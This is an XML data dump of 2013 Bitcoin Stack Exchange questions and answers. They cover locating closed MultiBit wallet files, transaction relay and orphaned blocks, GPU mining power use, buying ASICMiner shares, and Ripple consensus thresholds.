  <row Id="10281" PostTypeId="1" CreationDate="2013-04-26T14:30:19.027" Score="3" ViewCount="2455" Body="&lt;p&gt;I have just installed MultiBit and transferred my bitcoins into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I closed the wallet using &quot;close wallet&quot; in the file menu, thinking that it would save it, but it seems to have not just closed it but removed it from existence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this just a lesson not to be so stupid in future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still have a record of the wallet address, but that's it.&lt;/p&gt;&#xA;" OwnerUserId="4660" LastEditorUserId="105" LastEditDate="2013-07-25T20:35:19.117" LastActivityDate="2013-12-10T10:20:36.713" Title="Closed wallet in MultiBit, is it gone for good?" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10282" PostTypeId="1" AcceptedAnswerId="10287" CreationDate="2013-04-26T16:02:25.380" Score="1" ViewCount="2250" Body="&lt;p&gt;I closed a wallet in the 0.5.x version of Multibit for Mac.  Now I can't seem to open it. When I use Open Wallet in File the file name comes up, as does my home library, but I can't figure out where it is stored. Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="4651" LastEditorUserId="4651" LastEditDate="2013-04-26T16:17:39.667" LastActivityDate="2014-04-16T02:24:57.780" Title="Can't find Multibit wallet file after closing wallet" Tags="|wallet|multibit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10283" PostTypeId="1" AcceptedAnswerId="10289" CreationDate="2013-04-26T16:24:20.377" Score="0" ViewCount="135" Body="&lt;p&gt;Here is a scenario someone posed to me and I'd like to check the answer:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If I send a transaction that gets orphaned and I then issue another transaction from the same address (but include a fee) and this second transaction gets added to the block chain (I have &amp;gt;no reason to see why it wouldn't....there's a good chance other nodes wouldn't even know &amp;gt;about the orphaned block as it may not have been relayed. Can the first transaction be put in a block? When does the transaction get time stamped?&lt;/p&gt;&#xA;&lt;p&gt;I presumed the answer is that the original transaction will become invalid as it would not be confirmable.  Also, during the orphaned period, the private key could be imported to another &amp;gt;wallet and another transaction issued from that address (AFAIK, no wallet will intentionally &amp;gt;let you construct double spends).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-04-27T08:14:30.213" Title="Transaction Questions" Tags="|transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10286" PostTypeId="2" ParentId="10281" CreationDate="2013-04-26T16:47:18.003" Score="2" Body="&lt;p&gt;The user crowther had his wallet stored in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:/Documents and Settings/&quot;user name&quot;/AppData/Roaming/MultiBit&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-04-26T16:47:18.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10287" PostTypeId="2" ParentId="10282" CreationDate="2013-04-26T16:49:40.217" Score="2" Body="&lt;p&gt;On a Mac the wallets are stored by default in the user data area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/Users/&quot;user name&quot;/Library/Application Data/MultiBit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default wallet file name is &quot;multibit.wallet&quot;.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-04-26T16:49:40.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10288" PostTypeId="1" CreationDate="2013-04-26T17:17:59.023" Score="3" ViewCount="947" Body="&lt;p&gt;Using the built-in ATI video card on my computer, I can mine at about a 30-50 MHps rate. I'm wondering, how does this amount of work compare to normal video card operation? Or how can it be calculated? Is mining for 6 hours at this rate equivalent to watching Transformers 2 in HD over and over again on my monitor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's already plenty of questions about equipment wear when GPU mining, I'm looking for an easy-to-understand comparison to normal GPU taks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3667" LastEditorUserId="5406" LastEditDate="2016-04-17T20:25:01.203" LastActivityDate="2016-04-17T20:25:01.203" Title="Energy &amp; performance comparison: GPU mining vs playing HD Video" Tags="|mining-hardware|hashpower|gpu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10289" PostTypeId="2" ParentId="10283" CreationDate="2013-04-26T17:22:51.030" Score="0" Body="&lt;p&gt;Their assumption is correct: if you send a transaction that gets orphaned, and then send another transaction that goes into the block, the other transaction automatically becomes invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions don't have a timestamp embedded, so miners don't have a way of knowing which transaction came first. They just include the one that first reaches them, which in your scenario will be the second one.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-26T17:22:51.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10290" PostTypeId="2" ParentId="10288" CreationDate="2013-04-26T17:24:34.043" Score="1" Body="&lt;p&gt;Using a GPU to mine Bitcoins would use a lot more power than watching HD video, since while the video decoder would only use the processing power it needed, a Bitcoin mine would use all of the power available to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have any real numbers, but I think mining Bitcoins would be equivalent to, say, playing Far Cry 3 on the maximum settings, while watching HD video would be more like playing Fallout 3 on medium settings.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-04-26T17:24:34.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10291" PostTypeId="2" ParentId="10288" CreationDate="2013-04-26T17:32:27.537" Score="0" Body="&lt;p&gt;You can see how much work your video card is doing during various tasks with &lt;a href=&quot;http://www.ozone3d.net/gpu_caps_viewer/&quot; rel=&quot;nofollow&quot;&gt;GPU Caps Viewer&lt;/a&gt;.  It will tell you what clock speed your card is running at, what the max it is capable of, and what percentage of your GPU is being used.&lt;/p&gt;&#xA;" OwnerUserId="4143" LastActivityDate="2013-04-26T17:32:27.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10292" PostTypeId="2" ParentId="10148" CreationDate="2013-04-26T18:33:43.370" Score="10" Body="&lt;p&gt;Disclaimer: At the time of this writing, I am a shareholder with ASICMiner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also be aware that the Bitcoin stock market is, like Bitcoin, very immature and not regulated. The risks involved are far greater than for a traditional stock market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like @Steven Roose just wrote, you can buy Pass-Through (PT) shares through two separate stock exchanges, &lt;a href=&quot;https://btct.co/security/ASICMINER-PT&quot;&gt;BTC-TC&lt;/a&gt; and Bitfunder. I personally prefer the former due to its easier interface, but either works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, know that these are PT shares only. A PT means that you buy shares with someone who holds real shares with ASICMiner. In practice, it is much the same, but both PTs will charge a 0.5% fee from your revenues, and you don't get voting rights, so keep that in mind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 'real' shares, ASICMiner do not sell those directly. They were sold initially at a now defunct stock exchange (GLBSE) which turned into a bit of a disaster and after that, friedcat, the person in charge of ASICMiner, decided he did not want his stocks traded on any exchange for fear of similar accidents. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, there are a lot of people that hold 'real' shares, and these are sometimes put on auction over on Bitcointalk.org (check &lt;a href=&quot;https://bitcointalk.org/index.php?board=73.0&quot;&gt;https://bitcointalk.org/index.php?board=73.0&lt;/a&gt;). In case you wint one of these auctions, the seller will transfer the sold amount by sending a message to friedcat with your email address and your Bitcoin address for dividends. I suggest using one of the escrow service providers on that forum to ensure the transfer goes smoothly and safely. Several escrow providers will do this for free, but it is customary to tip a few bitcents at least for their service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dividends for PT shares are paid to your exhange account and directly held shares are paid directly from friedcat to your Bitcoin address on file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that, ASICMiner does not have a web page per se, but they keep everyone informed several times a week here:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=99497.0&quot;&gt;https://bitcointalk.org/index.php?topic=99497.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said, be very careful about investing in Bitcoins and cryptocurrency stocks. There is no regulation, no recourse, and seldom any personally identifiable information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And again, I am a current ASICMiner share holder, so keep that in mind as you read this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've posted a more comprehensive and up-to-date answer here:&#xA;&lt;a href=&quot;http://coin.furuknap.net/how-to-buy-asicminer-shares/&quot;&gt;http://coin.furuknap.net/how-to-buy-asicminer-shares/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.b&lt;/p&gt;&#xA;" OwnerUserId="4665" LastEditorUserId="196" LastEditDate="2013-05-04T08:22:10.563" LastActivityDate="2013-05-04T08:22:10.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10293" PostTypeId="2" ParentId="8113" CreationDate="2013-04-26T18:53:08.410" Score="3" Body="&lt;p&gt;If they're in the same order book (same currency/issuer pairs), it's the one that was placed first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they're in different order books (say because the source holds balances from more than one issuer) it's a bit more complex. Even if the offer rates are the same, the effective rate might not be the same. For example, if one issuer has a higher transfer fee, that can make the effective rate higher even if the offer rate is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the effective rate is the same, then it's the one specified first in the transaction's path set. Currently, the server sorts the path set when the transaction is formed based on an attempt to provide the most liquidity and any benefits that can be achieved. So, for example, if one path reduces a balance that's over its limit, that will be preferred.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-26T18:53:08.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10295" PostTypeId="1" AcceptedAnswerId="10296" CreationDate="2013-04-26T22:41:19.333" Score="1" ViewCount="1511" Body="&lt;p&gt;I am using linux mint 14 and was in the process of loading block files. I had a power failure and now it tells me failed to read Block. I would delete the blockchain and start over but IDK where to find it. I am not worried about loosing anything. Please help I am frustrated. I tried uninstalling but this did not work. Please be detailed in response I am a noob.&lt;/p&gt;&#xA;" OwnerUserId="4670" LastActivityDate="2013-04-26T23:00:11.373" Title="Bitcoin-qt read block error" Tags="|blockchain|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10296" PostTypeId="2" ParentId="10295" CreationDate="2013-04-26T23:00:11.373" Score="1" Body="&lt;p&gt;Start the client on the command line with the flag &lt;code&gt;-reindex&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-04-26T23:00:11.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10297" PostTypeId="2" ParentId="8614" CreationDate="2013-04-27T00:43:26.260" Score="4" Body="&lt;p&gt;They're both representing the same thing over different time periods. The values on the drop down are always for the past 24 hours, the values on the graph depend on what time range you're viewing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example 75584 is the number of bitcoins traded in the past 24 hours, and 17261 is the number traded between 19:00 and 20:00&lt;/p&gt;&#xA;" OwnerUserId="4672" LastActivityDate="2013-04-27T00:43:26.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10299" PostTypeId="1" CreationDate="2013-04-27T02:12:48.383" Score="0" ViewCount="130" Body="&lt;p&gt;Say I am a node (M1) in the bitcoin network who wishes to spend some set of bitcoins (T). M1 selects address (A1) with an associated node (M2) that he wishes to transact with and uses some process (F) involving T's private key to sign over T to A1 to be controlled by M2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how does T get broadcast to the bitcoin network? What model does the software enforce to announce a transaction has occurred? How is this message relayed and what kind of bandwidth does the relay require? Do all nodes reach participate in the transaction relay or just some? How does a miner decide to verify transaction T during his block solution hunt? How many transactions are considered to be a minimum for a block and how many are considered to be a maximum? And finally how long does a miner wait to fill his transaction queue for a given block solution hunt?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="4070" LastEditDate="2013-04-27T02:46:49.810" LastActivityDate="2013-04-27T02:57:06.100" Title="Transaction and Node Proximity Questions" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10301" PostTypeId="2" ParentId="10299" CreationDate="2013-04-27T02:57:06.100" Score="1" Body="&lt;p&gt;You add the transaction T to your (the sender's) unconfirmed transactions pool. From there on, it is treated like any other transaction. Then, your client will send a &quot;inv&quot; message to it's peers saying it has a transaction with hash H. (H being the hash of T) If the peers don't have it, they will send a &quot;gettx&quot; message requesting it, and your client will send it to them. They then add it to their list of unconfirmed transactions and they will do the same thing with their peers.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-04-27T02:57:06.100" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10303" PostTypeId="2" ParentId="10241" CreationDate="2013-04-27T07:10:33.823" Score="2" Body="&lt;p&gt;The sender's account is debited the transaction fee, but no other account is credited the same amount.&lt;/p&gt;&#xA;" OwnerUserId="1380" LastEditorUserId="3228" LastEditDate="2013-04-27T23:55:49.617" LastActivityDate="2013-04-27T23:55:49.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10304" PostTypeId="2" ParentId="10226" CreationDate="2013-04-27T07:14:04.477" Score="2" Body="&lt;p&gt;For now you can request a private sale at a good rate by emailing Bitstamp customer service or directly Nejc Kodrič  (nejc dot kodric at bitstamp.net)&lt;/p&gt;&#xA;" OwnerUserId="1380" LastEditorUserId="1380" LastEditDate="2013-04-28T22:48:32.007" LastActivityDate="2013-04-28T22:48:32.007" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10305" PostTypeId="1" AcceptedAnswerId="10307" CreationDate="2013-04-27T07:20:07.793" Score="4" ViewCount="24810" Body="&lt;p&gt;I'm looking for historical exchange rate data for Bitcoins/USD beginning in 2010, but I haven't been successful. This is for academic research. I tried bitchart.org. I don't know how to access the MtGox API either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me with a step-by-step procedure to download the data in CSV format (or any other format)? It would be awesome if you could just provide me with the actual data file.&lt;/p&gt;&#xA;" OwnerUserId="4676" LastEditorDisplayName="user3930" LastEditDate="2013-07-09T14:59:13.767" LastActivityDate="2015-12-06T23:31:46.470" Title="Where can I find historical exchange rate data for BTC/USD?" Tags="|raw-data|exchange-rate|" AnswerCount="1" CommentCount="1" ClosedDate="2013-04-29T21:04:12.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="10306" PostTypeId="1" CreationDate="2013-04-27T07:58:47.977" Score="4" ViewCount="6896" Body="&lt;p&gt;I'm interested in how much money do I have to invest if I want to buy Bitcoins? Is there any minimum?&lt;/p&gt;&#xA;" OwnerUserId="4677" LastEditorUserId="5406" LastEditDate="2015-12-24T11:05:11.197" LastActivityDate="2018-12-14T11:23:28.637" Title="What is the minimum investment for Bitcoin?" Tags="|investing|divisibility|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10307" PostTypeId="2" ParentId="10305" CreationDate="2013-04-27T08:05:06.333" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.coindesk.com/price&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/price&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.investing.com/currencies/btc-usd-historical-data&quot; rel=&quot;nofollow&quot;&gt;http://www.investing.com/currencies/btc-usd-historical-data&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.quandl.com/c/markets/bitcoin-data&quot; rel=&quot;nofollow&quot;&gt;http://www.quandl.com/c/markets/bitcoin-data&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoinchain.com/markets&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinchain.com/markets&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, there was a &lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHJuUE1mUkFxa3A0eHBDQkxZLVVFZmc&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Time Series spreadsheet&lt;/a&gt;.  Scroll to the bottom to see the data sources.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="30880" LastEditDate="2015-12-06T23:31:46.470" LastActivityDate="2015-12-06T23:31:46.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10308" PostTypeId="2" ParentId="10306" CreationDate="2013-04-27T08:07:46.903" Score="3" Body="&lt;p&gt;Most exchanges have no minimum deposit however there are per-transaction fees which make smaller deposits uneconomical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cost to deposit funds varies based on each exchange and each country.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-27T08:07:46.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10309" PostTypeId="2" ParentId="10283" CreationDate="2013-04-27T08:14:30.213" Score="0" Body="&lt;p&gt;When there are two blocks both at the same height, each can include the same transaction as each doesn't know about the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no double spend conflicts the same transaction would generally exist in both sides of a fork, presuming enough nodes were on each side to relay the transaction to miners of each.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-27T08:14:30.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10310" PostTypeId="2" ParentId="10240" CreationDate="2013-04-27T09:51:52.830" Score="4" Body="&lt;p&gt;There is no such procedure. While OpenCoin could accomplish it today by changing the code to create such a thing, in the future, the procedure would be as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Propose some kind of change that would create more XRP.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign it a 256-bit ID. (It can be arbitrary.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Release patches that support this change, and announce their support for this ID.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get 80% of validators to run your patches.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wait out the two week waiting period for new feature enablement (to give a chance for review and vetoing).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If 80% of validators (weighted by trust) still run your patch, the feature will enable itself and then you can create more XRP. Alternatively, you could try to convince about 50% of validators (weighted by trust) that your patch is so urgently needed that the normal supermajority delay process can be bypassed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-27T09:51:52.830" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10311" PostTypeId="2" ParentId="10227" CreationDate="2013-04-27T09:59:44.283" Score="5" Body="&lt;p&gt;If validators waited until other validators declared consensus to declare consensus themselves, no validator would ever declare consensus. So you must declare consensus and hope you turn out to be right. Most of the time you will be. If not, you will later not be mathematically certain of the results and will not pass them on to clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a 75% threshold for mathematical certainty, many times you wouldn't be certain and would have to repeat the process. If you picked a 90% threshold for mathematical certainty, you'd be certain almost all of the time, but you'd be wasting time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The video is a bit misleading. In fact, any threshold could be used and you would still have mathematical certainty if you actually did reach consensus. However, if you set the threshold too low, you would only rarely have certainty. 80% is the threshold we've chosen for mathematical certainty because it's a compromise that results in certainty being reached often and quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe that's not clear enough. Let me try it another way. When we report a transaction as fully validated, we want to be mathematically certain of that. We will not make such a report until we are. Choosing 80% as the consensus threshold allows us to reach consensus quickly, requires at least 20% of validators to be completely malicious to delay consensus, and allows us to (in a later step) be mathematically certain of the result almost all of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that almost all of the time is not always. Sometimes, we reach 80% and later are not certain of the results. In that case, we wait until the next consensus round completes and hope we fare better in that one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say for some stupid reason you set your threshold to 10%. You would think you had consensus all the time. But equally obviously, a lot of the time there would be no actual consensus. If there were, you could be certain that it had happened (because you would &lt;em&gt;see&lt;/em&gt; it). But it often wouldn't happen, and then validators would have to resynchronize and clients would be waiting patiently for the network to fix itself so their transactions can be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ledgers that pass the consensus process are still held up by the &quot;validation gate&quot;. They are not reported to clients as &quot;fully validated&quot; until they pass this gate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;80% worked very, very well in simulation. Validators are free to change this threshold if they want. Perhaps in a future network topology, a different threshold will give better performance characteristics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to write clearly at 3AM. Maybe I'll rewrite this when I'm more awake.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-27T10:57:57.703" LastActivityDate="2013-04-27T10:57:57.703" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="10312" PostTypeId="1" CreationDate="2013-04-27T10:20:05.747" Score="2" ViewCount="966" Body="&lt;p&gt;I have a blockchain.info wallet. Last night I decided to set up a wallet for my daughter so I signed out of my account. Created one for her and then had difficulty signing in to mine, I had about 8 attempts then gave up. I then noticed in my email I had an email from blockchain telling me of each of the failed attempts which was me. I then managed to get into my wallet and 99% of my BTC had gone. Is this a security feature or has someone stolen them? Thanks. I have checked the new wallet in case they were there but sadly they are not.&lt;/p&gt;&#xA;" OwnerUserId="4678" LastEditorUserId="196" LastEditDate="2013-04-27T13:35:03.463" LastActivityDate="2018-03-24T23:05:36.397" Title="Lost my BTC or they've been stolen" Tags="|blockchain.info|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10313" PostTypeId="2" ParentId="10312" CreationDate="2013-04-27T10:48:42.413" Score="1" Body="&lt;p&gt;Blockchain.info's My Wallet stores your Bitcoin wallet in encrypted form. This means that anyone that knows your wallet identifier can retrieve the encrypted form of your wallet. One can of course only use/open the wallet with the encryption password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does however mean that anyone that retrieved your wallet identifier can try to guess your password as many times as they want. Once they got the encrypted version of your wallet, they can use smart brute force techniques to crack your password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you could have been hacked if both&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Someone got hands on your wallet identifier. Maybe you mailed it or mentioned it somewhere. Maybe you got malware or a spoofing browser extension.&lt;/li&gt;&#xA;&lt;li&gt;You have a weak password so that regular password crackers were able to find your password fairly easily. Try to avoid passwords consisting of only existing words or only lower case characters f.e.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-27T10:48:42.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10314" PostTypeId="2" ParentId="10279" CreationDate="2013-04-27T11:03:35.037" Score="5" Body="&lt;p&gt;I don't fully understand your question, first a reaction on your assumption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is indeed so that your wallet does not hold actual coins. However, consider the distinction between the terms wallet and client. This is not an official distinction, but it is useful to understand the two different principles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Bitcoin client, stores the complete block chain. When you request information about an address or a transaction, it can inspect the block chain and retrieve the requested information. So indeed balances are retrieves by a query to the block chain. Most clients keep an index of all transaction of your addresses so that these queries can be achieved very efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A wallet often refers to the set of private keys of your own addresses. For the default Bitcoin client, this is the wallet.dat file. It contains a list of the addresses you own and the corresponding private keys you need to make transactions with your addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the term wallet is also often used for a Bitcoin client, f.e. &lt;a href=&quot;http://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;noreferrer&quot;&gt;on the Bitcoin homepage&lt;/a&gt;. A caveat here is that some of those wallet indeed do not store the complete block chain but have other techniques to implicitly query the block chain in another way. This sort of clients are called lightweight clients.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now, what a transaction is, in principle, is just a handing over the control over a certain value in the block chain to another address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each address there are zero or more transactions that have the address as output. When you did not send them over to someone else, the are called unspent bitcoins or unspent transaction outputs. The sum of those make up the balance of the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to send these coins, or a part of them (note that there is no notion of a coin, but just some value of currency that you send which can be any decimal number up to &lt;a href=&quot;https://en.bitcoin.it/wiki/Units&quot; rel=&quot;noreferrer&quot;&gt;satoshi precision&lt;/a&gt;), you make a transaction in which you claim some of the unspent outputs for your address (as inputs for your transaction) and distribute the value they have over other addresses (which are the outputs for your transaction). So the unspent outputs for an address can be used as inputs for a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you sign the transaction and it gets verified in a block, the unspent outputs are now spent and new unspent outputs have been assigned to the addresses you specified in the transaction outputs for the transaction.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-04-27T12:33:59.967" LastActivityDate="2013-04-27T12:33:59.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10315" PostTypeId="1" CreationDate="2013-04-27T11:18:56.773" Score="2" ViewCount="191" Body="&lt;p&gt;I am using Bitcoin-Qt on my Mac under Mac OS 10.8.3. Everything is working fine but when I want to change any settings in the settings menu, it will never remember my new settings. Is there any solution to this?&lt;/p&gt;&#xA;" OwnerUserId="4679" LastActivityDate="2013-04-27T11:18:56.773" Title="Changing settings of Bitcoin-Qt on Mac" Tags="|bitcoin-core|mac|" AnswerCount="0" CommentCount="2" ClosedDate="2013-04-28T12:56:48.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="10316" PostTypeId="2" ParentId="10066" CreationDate="2013-04-27T13:43:53.663" Score="2" Body="&lt;p&gt;I've also found that bitcointalk is one of the best sources, albeit necessary  to wade through a lot of posts. Search there for references to David Chaum, Hal Finney, Nick Szabo, and Wei Dai to understand some of the ideals and ideas that influenced Satoshi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some other relevant link to get you started:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;a href=&quot;http://en.bitcoin.it/wiki/History&quot; rel=&quot;nofollow&quot;&gt;A Timeline History&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;a href=&quot;http://bitcoin.org/en/about&quot; rel=&quot;nofollow&quot;&gt;A very brief intro&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;a href=&quot;http://www.mail-archive.com/cryptography@metzdowd.com/msg09959.html&quot; rel=&quot;nofollow&quot;&gt;The original post of Satoshi on the metzdowd crypto mailing list&lt;/a&gt; - Try and follow the whole thread&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google the references in the original paper, will uncover good background detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;a href=&quot;http://www.bitecoin.com/online/2011/05/57.html&quot; rel=&quot;nofollow&quot;&gt;Who is Satoshi Nakamoto - you'll need google translate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;a href=&quot;https://bitcointalk.org/index.php?topic=155054.0&quot; rel=&quot;nofollow&quot;&gt;Bitcoin and me (Hal Finney)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;a href=&quot;https://bitcointalk.org/index.php?topic=172009.0&quot; rel=&quot;nofollow&quot;&gt;The Mystery of the Geneisis Block- very technical&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3561" LastEditorUserId="4767" LastEditDate="2013-05-01T16:09:50.570" LastActivityDate="2013-05-01T16:09:50.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10317" PostTypeId="1" CreationDate="2013-04-27T14:03:55.983" Score="3" ViewCount="540" Body="&lt;p&gt;I'm looking for a good  explanation or reference on the peer to peer aspects of the two main bitcoin actors- the clients(wallets) and miners. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi's white paper, in section 5. Network, gives a very high level overview of the steps to run on the network, yet what I'm looking for is a description of the handshake sequences, how the peers broadcast, collects new transactions, and how they request missed blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read and somewhat understand the protocol at &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification&lt;/a&gt;&#xA;I also have a solid understanding of the crypto, ECDSA, SHA-256,  RIPEMD-160, Merkle trees, and Hashcash (and a bit of RPOW) so no need to cover that in particular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be really helpful is a sequence diagram, if anyone knows of one, and a paper or article that goes into more detail than the whitepaper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, beyond &quot;read the &lt;em&gt;*&lt;/em&gt;*'ing source code' would be great ;-)&lt;/p&gt;&#xA;" OwnerUserId="3561" LastEditorUserId="3561" 